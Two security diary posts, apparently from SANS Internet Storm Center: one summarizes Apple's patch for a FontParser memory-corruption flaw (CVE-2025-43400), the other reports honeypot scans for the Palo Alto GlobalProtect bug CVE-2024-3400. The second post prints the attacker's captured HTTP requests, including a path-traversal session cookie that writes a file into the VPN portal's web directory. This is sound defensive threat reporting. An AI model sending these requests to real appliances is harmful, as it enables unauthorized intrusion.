Apple Patches Single Vulnerability CVE-2025-43400
It is typical for Apple to release a ".0.1" update soon after releasing a major new operating system. These updates typically fix various functional issues, but this time, they also fix a security vulnerability. The security vulnerability not only affects the "26" releases of iOS and macOS, but also older versions. Apple released fixes for iOS 18 and 26, as well as for macOS back to Sonoma (14). Apple also released updates for WatchOS and tvOS, but these updates do not address any security issues. For visionOS, updates were only released for visionOS 26.
The vulnerability affects the Font Parser. A malicious font may lead to app termination or corrupt process memory. It is not clear if this is exploitable for remote code execution. The vulnerability has not been exploited so far.
For consistency, I am including our usual Apple Patch Table.
| iOS 26.0.1 and iPadOS 26.0.1 | iOS 18.7.1 and iPadOS 18.7.1 | macOS Tahoe 26.0.1 | macOS Sequoia 15.7.1 | macOS Sonoma 14.8.1 | visionOS 26.0.1 |
|---|---|---|---|---|---|
| CVE-2025-43400: Processing a maliciously crafted font may lead to unexpected app termination or corrupt process memory. Affects FontParser |
|||||
| x | x | x | x | x | x |
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Increase in Scans for Palo Alto Global Protect Vulnerability (CVE-2024-3400)
We are all aware of the abysmal state of security appliances, no matter their price tag. Ever so often, we see an increase in attacks against some of these vulnerabilities, trying to mop up systems missed in earlier exploit waves. Currently, on source in particular, 141.98.82.26 is looking to exploit systems vulnerable to CVE-2024-3400. The exploit is rather straightforward. Palo Alto never considered it necessary to validate the session id. Instead, they use the session ID "as is" to create a session file. The exploit is well explained by watchTowr [1].
First, we see a request to upload a file:
POST /ssl-vpn/hipreport.esp Host: [honeypot ip]:8080 User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Connection: close Content-Length: 174 Content-Type: application/x-www-form-urlencoded Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/33EGKkp7zRbFyf06zCV4mzq1vDK.txt; Accept-Encoding: gzip user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
Next, a request to retrieve the uploaded file:
GET /global-protect/portal/images/33KFpJLBHsMmkNuxs7pqpGOIIgF.txt host: [honeypot ip] user-agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 connection: close accept-encoding: gzip
This will return a "403" error if the file exists, and a "404" error if the upload failed. It will not execute code. The content of the file is a standard Global Protect session file, and will not execute. A follow-up attack would upload the file to a location that leads to code execution.
The same source is also hitting the URL "/Synchronization" on our honeypots. Google AI associates this with a Global Protect vulnerability discovered last week, but this appears to be a hallucination.
[1] https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Comments